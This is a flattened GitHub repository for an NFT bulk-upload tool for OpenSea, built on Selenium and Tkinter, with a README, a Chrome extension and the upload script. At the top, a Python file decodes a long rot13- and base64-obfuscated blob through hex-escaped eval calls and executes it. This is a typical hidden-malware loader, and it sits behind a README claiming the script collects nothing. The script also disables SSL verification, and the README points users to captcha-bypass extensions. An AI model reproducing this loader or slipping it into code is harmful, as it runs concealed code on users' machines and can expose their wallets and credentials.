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'
9 | joy = '\x72\x6f\x74\x31\x33'
10 | trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29')
11 | eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'','exec'))
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | # bulk-upload-to-opensea
4 | A cross platform python IDE implementing selenium 4
5 | If you want to support this project or me, please check out my NFTs
6 | https://opensea.io/collection/fortune-cat-neko and wish give it a little love or grab it.
7 | Thank you.
8 |
9 | Tutorial video v1.0
10 | https://www.youtube.com/watch?v=yEowEDfTSpA
11 | ~ or ~
12 | Easy step by step
13 | https://www.youtube.com/watch?v=j0WguSodGf8
14 | Bulk upload to opensea - Buster: Captcha Solver
15 | https://www.youtube.com/watch?v=6IoyczfQxtg
16 |
17 |
18 | # Pay Service
19 | Why need to pay? I realise some user are over requested additional feature or addon over the limitation.
20 | if you are really need additional function for this bulk upload please contact my twitter @klvntss and the charge will by project basis. https://www.fiverr.com/kelvintss
21 |
22 | # Disclaimer
23 | This free version script are not collect or capture any information while it running.
24 | Make sure you are understand the all coding and process before running, please read line by line the original code before start running.
25 | We will not be liable for any losses and/or damages for using of our script. Use at your own risk.
26 |
27 | # Changelog
28 |
29 | - Version 2.0.1 (upload_2captcha V2.py)
30 | Deleted some controls that were no longer needed for the polygon.
31 | Added Latest stable release: ChromeDriver
32 |
33 | - Version 2.0.0 (upload_2captcha V2.py)
34 | 2Captcha and Buster Solver combined in one file
35 | Added repetitive error checks for many possible errors that may occur on the site
36 | Added "chrome_extension" Please open chrome_extension folder and read the instructions
37 | Collection Scraper added as prototype.
38 |
39 | - Version 1.9.0 (upload_2captcha.py)
40 | 2Captcha Solver
41 | https://chrome.google.com/webstore/detail/2captcha-solver/ifibfemgeogfhoebkmokieepdoobkbpo?hl=en
42 | get your API-key from 2captcha.com
43 | Enabled & Solve automatically reCaptcha V2 at option page.
44 |
45 | - Version 1.8.9 (upload_captcha.py)
46 | Fixed duration range selection
47 |
48 | - Version 1.8.8 (upload_captcha.py)
49 | Add chrome extesion: Buster: Captcha Solver for Humans
50 | https://chrome.google.com/webstore/detail/buster-captcha-solver-for/mpbjkejclgfgadiemmefgebjfooflfhl?hl=en
51 | extension settings: Select any "speech service" and put in API key
52 |
53 | - Version 1.8.1 (upload18.py)
54 |
55 | - support "attributes" and "properties" metadata format
56 |
57 | - Version 1.8 (upload18.py)
58 |
59 | - Duration support added. Maximum duration is 6 months.
60 | *Please install "pip install python-dateutil"
61 | PC date format MUST set to mm/dd/yyyy
62 |
63 |
64 | - Version 1.0 (upload.py)
65 |
66 |
67 |
68 |
69 | # Instructions
70 |
71 | - Download and extract this project in your local device (keep all files and folders that come with the repo in this folder)
72 | - Download and update Python. My python version is 3.8.10 * https://www.youtube.com/watch?v=9o4gDQvVkLU
73 | - Put all the NFTs images into folder “src/images” (etc 1.png), and NFTs properties metadata .json file put into folder src/json. (etc 1.json)
74 | - Open this project folder with any code editor and click "open powershell " or "Terminal"
75 | - Pip install requirements.txt by running the following command (pip install -r requirements.txt)
76 | Please install PIP for Python if “pip is not recognized as an internal or external command
77 | - Run the script, type "python upload.py"
78 | - Once running the script, will pop-up the application
79 | - Fill in the variable for your project upload properties,
80 |
81 | - Opensea collection link: https://www.opensea.io/collection/yourcollectionsname/assets/create
82 | - Start number 1
83 | - End number 9999 or any number
84 | - Default price: 0.005
85 | - Title with end “#” symbol
86 | - Description
87 | - NFT image format "png"
88 | - External link start with http….
89 |
90 | - Click and Select the “src” folder.
91 | - Click and “save this form”
92 | - Click “open chrome browser” will popup a new chrome browser, login / sign-in your metamask account. Download metamask extension if don’t have
93 | - Download I'm not robot captcha clicker extension link: https://chrome.google.com/webstore/detail/im-not-robot-captcha-clic/ceipnlhmjohemhfpbjdgeigkababhmjc/related?hl=en-US
94 | - And click “start” to let it run.
95 |
96 |
97 | For Collection Scraper added as prototype
98 |
99 | - Open your collection page like : https://www.opensea.io/collection/yourcollectionsname
100 | - Set the browser's zoom to 50% or less and wait for the page to fully load.
101 | - Click "SCRAPE Collection" Button to let it run
102 | - If you're having trouble doing it in bulk, on the collection page search for 1 and start then 2 then 3...
103 | You can do this up to 9 for a 10k collection.
104 |
105 |
106 |
107 | # Checklist before press "start" button
108 |
109 | - Disabled opensea night mode
110 | - Opensea collection link must end with "assets/create",
111 | look like this : https://www.opensea.io/collection/yourcollectionsname/assets/create
112 | - If polygon please tick "polycon blockchain
113 | - Please check "complete listing" for listing and unchecked for create NFT without listing step
114 | - If polygon please tick "polycon blockchain!
115 | - Select your images & json "src" folder
116 | - double check your image / json format: 1.png or 1.json
117 |
118 |
119 |
120 | # ChromeDriver - WebDriver for Chrome
121 | Download your compatible chromedriver.exe https://chromedriver.chromium.org/downloads
122 |
123 | # Enhanced section
124 | Will do a unique price setting for each individual nft image.
125 | If you like my project, please check out my NFTs https://opensea.io/collection/fortune-cat-neko and do a minimun support.
126 | Thank you.
127 |
128 | # Message for a MacOS user
129 | Currently this script only tested in Windows 7. Not compatible for MacOS
130 |
131 | # Contact me
132 | If you have any questions or want to get in contact you can find me on twitter by searching @klvntss
133 |
134 | # Thanks
135 | Please share and leave your star star
136 | If you found it useful, buy me a coffee( i like coffee :),
137 | Paypal: https://paypal.me/klvntss
138 | Ethereum address: 0xd5146965809e4286e24dcf2bfbf58c3840d433a2
139 | Thank you very much
140 |
--------------------------------------------------------------------------------
/Save_gui.cloud:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/infotrex/bulk-upload-to-opensea/18635ae79a04eaa3e83c6bf662818293dec56d28/Save_gui.cloud
--------------------------------------------------------------------------------
/chrome_extension/Readme.md:
--------------------------------------------------------------------------------
1 | Navigate to chrome://extensions
2 | Expand the Developer dropdown menu and click “Load Unpacked Extension”
3 | Navigate to the local folder containing the extension’s code and click Ok
4 | Assuming there are no errors, the extension should load into your browser
5 |
6 | OR
7 |
8 | If it is ZIP’d, extract the contents somewhere
9 | In Chrome, open chrome://extensions/
10 | Click + Developer mode
11 | Click Load unpacked extension…
12 | Navigate to the extension’s folder and click OK
13 | Delete the (extracted) folder (the extension was copied)
14 |
--------------------------------------------------------------------------------
/chrome_extension/content.js:
--------------------------------------------------------------------------------
1 | var girdi = false;
2 | // Başlangıç
3 | chrome.runtime.onMessage.addListener(
4 | function(request, sender) {
5 | if(request.page_updated === true && request.tbUrl != null)
6 | {
7 | if(girdi == false)
8 | {
9 | girdi= true;
10 | let timerId = setInterval(() => testim(), 5000);
11 | function testim()
12 | {
13 | const targetNode = getElementByXpath('//h1[text()="Oops, something went wrong"]');
14 | if(targetNode != null){
15 | clearInterval(timerId); clearTimeout(myTimeout); girdi= false;
16 | setTimeout(() => {window.history.back();}, 2000);
17 | }
18 | const problemNode = getElementByXpath('//pre[contains(@style,"word-wrap")]');
19 | if(problemNode != null){
20 | clearInterval(timerId); clearTimeout(myTimeout); girdi= false;
21 | setTimeout(() => {window.location.href=window.location.href;}, 2000);
22 | }
23 | const errorNode = getElementByXpath('//span[text()="Error adding your item: Failed to fetch"]');
24 | const AllmostNode = getElementByXpath('//h4[text()="Almost done"]');
25 | if(errorNode != null && AllmostNode == null){
26 | const createButtonNode = getElementByXpath('//*[@id="__next"]/div[1]/main/div/div/section/div[2]/form/div/div[1]/span/button');
27 | clearInterval(timerId); clearTimeout(myTimeout); girdi= false;
28 | setTimeout(() => {createButtonNode.click();}, 4000);
29 | }
30 | const pageIsLostNode = getElementByXpath('//h1[text()="This page is lost."]');
31 | if(pageIsLostNode != null){
32 | clearInterval(timerId); clearTimeout(myTimeout); girdi= false;
33 | setTimeout(() => {window.location.href=window.location.href;}, 4000);
34 | }
35 | }
36 | const myTimeout = setTimeout(() => { clearInterval(timerId); girdi= false;}, 120000);
37 | }
38 | }
39 | }
40 | );
41 | // Başlangıç
42 | function getElementByXpath(path) {
43 | return document.evaluate(path, document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue;
44 | }
45 | //
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
--------------------------------------------------------------------------------
/chrome_extension/eventPage.js:
--------------------------------------------------------------------------------
1 |
2 | chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {
3 |
4 | if ( tab.active==true && tab.url.indexOf("opensea") != -1 )//&& tab.url.indexOf("create") == -1
5 | {
6 | chrome.tabs.sendMessage(tabId, {page_updated: true, chinfo:changeInfo.status, tb:tab.status, chUrl:changeInfo.url, tbUrl:tab.url, tabim:tab});
7 | }
8 | });
--------------------------------------------------------------------------------
/chrome_extension/manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "background": {
3 | "service_worker": "eventPage.js"
4 | },
5 | "content_scripts": [ {
6 | "all_frames": true,
7 | "js": [ "jquery-3.5.0.min.js", "content.js" ],
8 | "matches": [ "https://*.opensea.io/*"],
9 | "run_at": "document_idle"
10 | } ],
11 | "description": "Opensea: fixes the Oops, something went wrong ",
12 | "icons": {
13 | "128": "onay-128.png",
14 | "16": "onay-16.png",
15 | "48": "onay-48.png"
16 | },
17 | "manifest_version": 3,
18 | "name": "Opensea ops sory kontrol",
19 | "permissions": [ "tabs", "storage", "notifications", "contextMenus", "webNavigation","scripting" ],
20 | "host_permissions": [
21 | "https://testnets.opensea.io/*" ,
22 | "https://*.opensea.io/*"
23 | ],
24 | "version": "1.0"
25 | }
26 |
--------------------------------------------------------------------------------
/chrome_extension/onay-128.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/infotrex/bulk-upload-to-opensea/18635ae79a04eaa3e83c6bf662818293dec56d28/chrome_extension/onay-128.png
--------------------------------------------------------------------------------
/chrome_extension/onay-16.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/infotrex/bulk-upload-to-opensea/18635ae79a04eaa3e83c6bf662818293dec56d28/chrome_extension/onay-16.png
--------------------------------------------------------------------------------
/chrome_extension/onay-24.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/infotrex/bulk-upload-to-opensea/18635ae79a04eaa3e83c6bf662818293dec56d28/chrome_extension/onay-24.png
--------------------------------------------------------------------------------
/chrome_extension/onay-48.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/infotrex/bulk-upload-to-opensea/18635ae79a04eaa3e83c6bf662818293dec56d28/chrome_extension/onay-48.png
--------------------------------------------------------------------------------
/chrome_profile/chrome_profile_auto_generate_here.txt:
--------------------------------------------------------------------------------
1 | Chome profile will auto generate to this directory
2 |
--------------------------------------------------------------------------------
/chromedriver.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/infotrex/bulk-upload-to-opensea/18635ae79a04eaa3e83c6bf662818293dec56d28/chromedriver.exe
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | selenium==4.0.0
2 | pillow
3 | certifi
4 | python-dateutil
5 |
--------------------------------------------------------------------------------
/src/images/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/infotrex/bulk-upload-to-opensea/18635ae79a04eaa3e83c6bf662818293dec56d28/src/images/1.png
--------------------------------------------------------------------------------
/src/images/fortune-cat-neko.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/infotrex/bulk-upload-to-opensea/18635ae79a04eaa3e83c6bf662818293dec56d28/src/images/fortune-cat-neko.png
--------------------------------------------------------------------------------
/src/json/1.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "FCN #1",
3 | "description": "Forture Cat Neko",
4 | "image": "ipfs://Qmb7skA43kEUQwVTaAepNmU9sk4rpHQn4feB4M5ibpdYZx/2650.png",
5 | "dna": "5b882fd9b472c8696ca514e34a91b32e36ff48f4",
6 | "edition": 1,
7 | "date": 1637558552616,
8 | "attributes": [
9 | {
10 | "trait_type": "BACKGROUND",
11 | "value": "Gold Yellow"
12 | },
13 | {
14 | "trait_type": "BODY",
15 | "value": "Orange Left Hand"
16 | },
17 | {
18 | "trait_type": "CLOTHES",
19 | "value": "Bow Tie"
20 | },
21 | {
22 | "trait_type": "EAR",
23 | "value": "Red"
24 | },
25 | {
26 | "trait_type": "EYE",
27 | "value": "Freak"
28 | },
29 | {
30 | "trait_type": "HAT",
31 | "value": "Top Hat"
32 | },
33 | {
34 | "trait_type": "MOUTH",
35 | "value": "Smile"
36 | },
37 | {
38 | "trait_type": "WEAR",
39 | "value": "Mustache"
40 | }
41 | ],
42 | "compiler": "HashLips Art Engine"
43 | }
--------------------------------------------------------------------------------
/upload_2captcha_V2.py:
--------------------------------------------------------------------------------
1 | import tkinter
2 | import subprocess
3 | from tkinter import *
4 | from tkinter import filedialog
5 | import tkinter as tk
6 | from tkinter import ttk
7 | from tkinter import messagebox
8 | import tkinter.font as font
9 | from turtle import width
10 | from PIL import ImageTk, Image
11 | import urllib.request
12 | from urllib import parse
13 | from io import BytesIO
14 | import os
15 | import io
16 | import sys
17 | import pickle
18 | import time
19 | from decimal import *
20 | import webbrowser
21 | # from click import command
22 | from selenium import webdriver
23 | from selenium.webdriver.common.by import By
24 | from selenium.webdriver.support.wait import WebDriverWait
25 | from selenium.webdriver.chrome.options import Options
26 | from selenium.webdriver.chrome.service import Service
27 | from selenium.webdriver.support import expected_conditions as ExpectedConditions
28 | from selenium.common.exceptions import NoSuchElementException
29 | from selenium.webdriver.support.ui import Select
30 | from selenium.webdriver.common.keys import Keys
31 | from datetime import timedelta
32 | import dateutil.relativedelta
33 | from datetime import timedelta, date
34 | import locale
35 | import json
36 | import ssl
37 | import random
38 | import timeit #HKN
39 | import re #HKN
40 | from functools import partial #HKN
41 |
42 |
43 | ssl._create_default_https_context = ssl._create_unverified_context
44 |
45 | #check local date format
46 | locale.setlocale(locale.LC_ALL, '')
47 | lastdate = date(date.today().year, 12, 31)
48 |
49 | root = Tk()
50 | root.geometry('750x850')
51 | root.resizable(False, False)
52 | root.title("NFTs Upload to OpenSea v2.0.1 - 2Captcha.com Solver")
53 |
54 | input_save_list = ["NFTs folder :", 0, 0, 0, 0, 0, 0, 0, 0, 0]
55 | main_directory = os.path.join(sys.path[0])
56 |
57 |
58 | def supportURL():
59 | webbrowser.open_new("https://www.infotrex.net/opensea/support.asp?r=app")
60 |
61 | def coffeeURL():
62 | webbrowser.open_new("https://github.com/infotrex/bulk-upload-to-opensea/#thanks")
63 |
64 |
65 | class WebImage:
66 | def __init__(self, url):
67 | with urllib.request.urlopen(url) as u:
68 | raw_data = u.read()
69 | #self.image = tk.PhotoImage(data=base64.encodebytes(raw_data))
70 | image = Image.open(io.BytesIO(raw_data))
71 | self.image = ImageTk.PhotoImage(image)
72 |
73 | def get(self):
74 | return self.image
75 |
76 |
77 | imageurl = "https://www.infotrex.net/opensea/header.png"
78 | img = WebImage(imageurl).get()
79 | imagelab = tk.Label(root, image=img)
80 | imagelab.grid(row=0, columnspan=2)
81 | imagelab.bind("", lambda e:supportURL())
82 |
83 | is_polygon = BooleanVar()
84 | is_polygon.set(True)
85 |
86 | is_listing = BooleanVar()
87 | is_listing.set(True)
88 |
89 | is_numformat = BooleanVar()
90 | is_numformat.set(False)
91 |
92 | is_sensitivecontent = BooleanVar()
93 | is_sensitivecontent.set(False)
94 |
95 | def save_duration():
96 | duration_value.set(value=duration_value.get())
97 | # print(duration_value.get())
98 | def save_captcha():
99 | captcha_value.set(value=captcha_value.get())
100 | #print(captcha_value.get())
101 |
102 | def open_chrome_profile():
103 | subprocess.Popen(
104 | [
105 | "start",
106 | "chrome",
107 | "--remote-debugging-port=8989",
108 | "--user-data-dir=" + main_directory + "/chrome_profile",
109 | ],
110 | shell=True,
111 | )
112 |
113 |
114 | def save_file_path():
115 | return os.path.join(sys.path[0], "Save_gui.cloud")
116 |
117 |
118 | # ask for directory on clicking button, changes button name.
119 | def upload_folder_input():
120 | global upload_path
121 | upload_path = filedialog.askdirectory()
122 | Name_change_img_folder_button(upload_path)
123 |
124 | def Name_change_img_folder_button(upload_folder_input):
125 | upload_folder_input_button["text"] = upload_folder_input
126 |
127 | def is_numeric(val):
128 | if str(val).isdigit():
129 | return True
130 | elif str(val).replace('.','',1).isdigit():
131 | return True
132 | else:
133 | return False
134 |
135 | def check_exists_by_xpath(driver, xpath):
136 | try:
137 | # driver.find_element_by_xpath(xpath)
138 | driver.find_element(By.XPATH, xpath)
139 | except NoSuchElementException:
140 | return False
141 | return True
142 |
143 | class InputField:
144 | def __init__(self, label, row_io, column_io, pos, txt_width=60, master=root):
145 | self.master = master
146 | self.input_field = Entry(self.master, width=txt_width)
147 | self.input_field.grid(ipady=3)
148 | self.input_field.label = Label(master, text=label, anchor="w", width=20, height=1 )
149 | self.input_field.label.grid(row=row_io, column=column_io, padx=12, pady=2)
150 | self.input_field.grid(row=row_io, column=column_io + 1, padx=12, pady=2)
151 |
152 | try:
153 | with open(save_file_path(), "rb") as infile:
154 | new_dict = pickle.load(infile)
155 | self.insert_text(new_dict[pos])
156 | except FileNotFoundError:
157 | pass
158 |
159 | def insert_text(self, text):
160 | self.input_field.delete(0, "end")
161 | self.input_field.insert(0, text)
162 |
163 | def save_inputs(self, pos):
164 | #messagebox.showwarning("showwarning", "Warning")
165 | input_save_list.insert(pos, self.input_field.get())
166 | #print(self.input_field.get())
167 | with open(save_file_path(), "wb") as outfile:
168 | pickle.dump(input_save_list, outfile)
169 |
170 | def validate_inputs(self, maxlen, type, message):
171 |
172 | if type == 0 and (len(self.input_field.get()) == 0 or (self.input_field.get()).isdigit() != True or len(self.input_field.get()) > maxlen):
173 | messagebox.showwarning("showwarning", message)
174 |
175 | elif type == 1 and (len(self.input_field.get()) == 0 or is_numeric(self.input_field.get()) == False or len(self.input_field.get()) >= maxlen):
176 | messagebox.showwarning("showwarning", message)
177 |
178 | elif type == 2 and ( len(self.input_field.get()) == 0 or len(self.input_field.get()) > maxlen):
179 | messagebox.showwarning("showwarning", message)
180 |
181 | else:
182 | return True
183 |
184 |
185 | ###input objects###
186 | collection_link_input = InputField("OpenSea Collection Link:", 2, 0, 1)
187 | start_num_input = InputField("Start Number:", 3, 0, 2)
188 | end_num_input = InputField("End Number:", 4, 0, 3)
189 | price = InputField("Default Price:", 5, 0, 4)
190 | title = InputField("Title:", 6, 0, 5)
191 | description = InputField("Description:", 7, 0, 6)
192 | file_format = InputField("NFT Image Format:", 8, 0, 7)
193 | external_link = InputField("External link:", 9, 0, 8)
194 |
195 |
196 |
197 |
198 | def save():
199 |
200 | if len(start_num_input.input_field.get()) == 0 or len(end_num_input.input_field.get()) == 0 or (int(end_num_input.input_field.get()) < int(start_num_input.input_field.get())):
201 | #messagebox.showwarning("showwarning", "End number should greater than start number!")
202 | print ("true")
203 | elif len( start_num_input.input_field.get()) == 0 or len(end_num_input.input_field.get()) > 5 :
204 | #messagebox.showwarning("showwarning", "Start / end number range 0 - 99999")
205 | print ("true")
206 | else:
207 | collection_link_input.validate_inputs(200, 2, 'Collection link required')
208 | price.validate_inputs(100, 1, 'Price required')
209 | title.validate_inputs(100, 2, 'title required')
210 | description.validate_inputs(500, 2, 'description required')
211 | file_format.validate_inputs(100, 2, 'file format required - png, jpg, jpeg, gif')
212 | external_link.validate_inputs(300, 3, '')
213 |
214 |
215 | input_save_list.insert(0, upload_path)
216 | collection_link_input.save_inputs(1)
217 | start_num_input.save_inputs(2)
218 | end_num_input.save_inputs(3)
219 | price.save_inputs(4)
220 | title.save_inputs(5)
221 | description.save_inputs(6)
222 | file_format.save_inputs(7)
223 | external_link.save_inputs(8)
224 | #Total_Items.save_inputs(10)
225 | #Control_Line_Number.save_inputs(11)
226 | #Items_In_Line.save_inputs(12)
227 |
228 | def main_program_loop(prgrm):
229 |
230 | if len(end_num_input.input_field.get()) > 5 :
231 | messagebox.showwarning("showwarning", "Start / end number range 0 - 99999")
232 | sys.exit()
233 |
234 | project_path = main_directory
235 | file_path = upload_path
236 | collection_link = collection_link_input.input_field.get()
237 | start_num = int(start_num_input.input_field.get())
238 | end_num = int(end_num_input.input_field.get())
239 | loop_price = float(price.input_field.get())
240 | loop_title = title.input_field.get()
241 | loop_file_format = file_format.input_field.get()
242 | loop_external_link = str(external_link.input_field.get())
243 | loop_description = description.input_field.get()
244 |
245 | ##chromeoptions
246 | options = webdriver.ChromeOptions()
247 | options.add_argument("--disable-blink-features=AutomationControlled")
248 | options.add_experimental_option("debuggerAddress", "localhost:8989")
249 | driver = webdriver.Chrome(executable_path=project_path + "/chromedriver.exe",options=options)
250 | # driver = webdriver.Chrome( service=Service(project_path + "/chromedriver.exe"), options=opt )
251 | wait = WebDriverWait(driver, 60)
252 |
253 | ###wait for methods
254 | def wait_css_selector(code):
255 | wait.until(
256 | ExpectedConditions.presence_of_element_located((By.CSS_SELECTOR, code))
257 | )
258 |
259 | def wait_css_selectorTest(code):
260 | wait.until(
261 | ExpectedConditions.elementToBeClickable((By.CSS_SELECTOR, code))
262 | )
263 |
264 | def wait_xpath(code):
265 | wait.until(ExpectedConditions.presence_of_element_located((By.XPATH, code)))
266 |
267 |
268 | def wait_xpath_clickable(code):
269 | wait.until(ExpectedConditions.element_to_be_clickable((By.XPATH, code)))
270 |
271 | def check_exists_by_tagname(tagname):
272 | try:
273 | # driver.find_element_by_tagname(tagname)
274 | driver.find_element(By.TAG_NAME, tagname)
275 | except NoSuchElementException:
276 | return False
277 | return True
278 |
279 | def delay(waiting_time=30):
280 | driver.implicitly_wait(waiting_time)
281 |
282 | sleeptime = random.uniform(0.8, 1.9) #HKN
283 | Lines = []
284 | if is_listing.get() and prgrm == "OnlyListing":
285 | with open(os.path.join(sys.path[0], "modified_Scraper.txt"), 'r') as scraped_list: # Use file to refer to the file object
286 | Lines = scraped_list.readlines()
287 | if len(Lines) < 1:
288 | messagebox.showwarning("showwarning", "No Collected Data Found")
289 | return
290 |
291 | while end_num >= start_num:
292 | if is_numformat.get():
293 | start_numformat = f"{ start_num:04}"
294 | else:
295 | start_numformat = f"{ start_num:01}"
296 | #HKN S Only Listing
297 | listing_item_name = ""
298 | if is_listing.get() and prgrm == "OnlyListing":#HKN Only Listing
299 | splited_line = Lines[(int(start_numformat) - 1)].split(",")
300 | for splited_part in range(len(splited_line)):
301 | if len(splited_line) < 3:
302 | loop_price = float(price.input_field.get())
303 | elif len(splited_line) == 3:
304 | loop_price = splited_line[2].strip() #if a special price is entered for the selected nft
305 | print('Number : ', start_numformat, "Start Listing NFT : " + splited_line[0].strip())
306 | listing_item_name = splited_line[0].strip()
307 | time.sleep(random.uniform(0.1, 0.5))
308 | driver.get(splited_line[1].strip())
309 | if start_num%40==0:
310 | time.sleep(5)
311 | #HKN F Only Listing
312 | if prgrm =="Full":#HKN
313 | time.sleep(sleeptime)
314 | print("Start creating NFT " + loop_title + str(start_numformat))
315 | print('number ', start_numformat)
316 | driver.get(collection_link)
317 |
318 | #HKN S
319 | wait_E = True
320 | while wait_E:
321 | try:
322 | WebDriverWait(driver, 20).until(ExpectedConditions.presence_of_element_located((By.CSS_SELECTOR, "button[aria-label='Add properties']" )))
323 | wait_E = False
324 | except:
325 | print("Refresh")
326 | with open(os.path.join(sys.path[0], "Log.txt"), 'a') as outputfile: # Use file to refer to the file object
327 | outputfile.write("Starting Point This Page Needed To Be Refreshed \n")
328 | driver.get(collection_link)
329 | time.sleep(5)
330 | wait_E = True
331 | #HKN F
332 |
333 | #HKN Start
334 | wait_xpath('//*[@id="name"]')
335 | name = driver.find_element(By.XPATH, '//*[@id="name"]')
336 | name.send_keys(loop_title + str(start_numformat)) # +1000 for other folders #change name before "#"
337 | time.sleep(sleeptime)
338 | name_i = 1
339 | kacinci = 0
340 | start = timeit.default_timer()
341 | stop = timeit.default_timer()
342 | yenilendi = False
343 | while name_i == 1:
344 | if yenilendi == True :
345 | wait_xpath('//*[@id="name"]')
346 | name = driver.find_element(By.XPATH, '//*[@id="name"]')
347 | yenilendi = False
348 | if len(name.get_attribute("value")) == 0:
349 | if kacinci < 10 :
350 | kacinci = kacinci + 1
351 | if kacinci == 1:
352 | start = timeit.default_timer()
353 | name.send_keys(loop_title + str(start_numformat)) # +1000 for other folders #change name before "#"
354 | time.sleep(3)
355 | else :
356 | with open(os.path.join(sys.path[0], "Log.txt"), 'a') as outputfile: # Use file to refer to the file object
357 | outputfile.write("This Page Needed To Be Refreshed \n")
358 | yenilendi = True
359 | kacinci = 0
360 | driver.refresh()
361 | else:
362 | name_i = 0
363 | stop = timeit.default_timer()
364 | with open(os.path.join(sys.path[0], "Log.txt"), 'a') as outputfile: # Use file to refer to the file object
365 | outputfile.write("Total Retries : " + str(kacinci) + " :: " +"Total Time : " + str((stop - start)) + "\n")
366 |
367 |
368 | wait_xpath('//*[@id="media"]')
